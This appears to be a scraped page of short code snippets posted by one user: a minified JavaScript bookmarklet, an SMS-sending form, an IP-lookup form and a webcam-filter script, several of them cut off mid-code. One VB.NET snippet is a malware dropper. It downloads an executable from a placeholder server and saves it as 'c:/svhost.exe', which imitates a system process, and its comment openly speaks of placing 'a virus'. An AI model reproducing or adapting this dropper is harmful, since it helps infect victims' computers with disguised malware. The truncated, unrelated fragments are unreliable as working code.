sadik-fattah

javascript:(function(){function c(){var e=document.createElement("link");e.setAttribute("type","text/css");e.setAttribute("rel","stylesheet");e.setAttribute("href",f);e.setAttribute("class",l);document.body.appendChild(e)}function h(){var e=document.getElementsByClassName(l);for(var t=0;t<e.length;t++){document.body.removeChild(e[t])}}function p(){var e=document.createElement("div");e.setAttribute("class",a);document.body.appendChild(e);setTimeout(function(){document.body.removeChild(e)},100)}function d(e){return{height:e.offsetHeight,width:e.offsetWidth}}function v(i){var s=d(i);return s.height>e&&s.height<n&&s.width>t&&s.width<r}function m(e){var t=e;var n=0;while(!!t){n+=t.offsetTop;t=t.offsetParent}return n}function g(){var e=document.documentElement;if(!!window.innerWidth){return window.innerHeight}else if(e&&!isNaN(e.clientHeight)){return e.clientHeight}return 0}function y(){if(window.pageYOffset){return window.pageYOffset}return Math.max(document.documentElement.scrollTop,document.body.scrollTop)}funct

sadik-fattah

'in general declaration
 import system.net
 
 '=========================
 'in class or load form
 dim link as string = "http://domain.com/server.exe"'your direct link server or patsh
 
dim serv as string = "c:/svhost.exe"'The path that you want to put a virus in it
    
my.computer.network.downloadFile(link,serv)'download the server from internet

sadik-fattah

Imports Clockwork
Imports System.Net
Public Class Form1

    Private Sub BTNsend_Click(sender As Object, e As EventArgs) Handles BTNsend.Click
        If Textphone.Text & TextMessage.Text & TextKey.Text = "" Then
            MessageBox.Show("راك خليت المستطيلات خاويين")
        End If
        Try
            Dim api As Clockwork.API = New Clockwork.API(TextKey.Text)

sadik-fattah

             'make form  . 2 labels  , 2 button  the copyright  if  you wont do !!
                     put this code to  button1 (get ip) 
                    
                        If TextBox1.Text = " " Then
                        MessageBox.Show("please Enter WebSite")
                    End If
                    
                    Dim Hostname As IPHostEntry = Dns.GetHostEntry(TextBox1.Text)
                    
                    Dim ip As IPAddress() = Hostname.AddressList

sadik-fattah

(function (){
			var
				  file
				, webcam // current Camera
				, filter = 'vintage' // default filter
				, processing = false
			;

			function _choose(state){
				choose.style.display = state ? '' : 'none';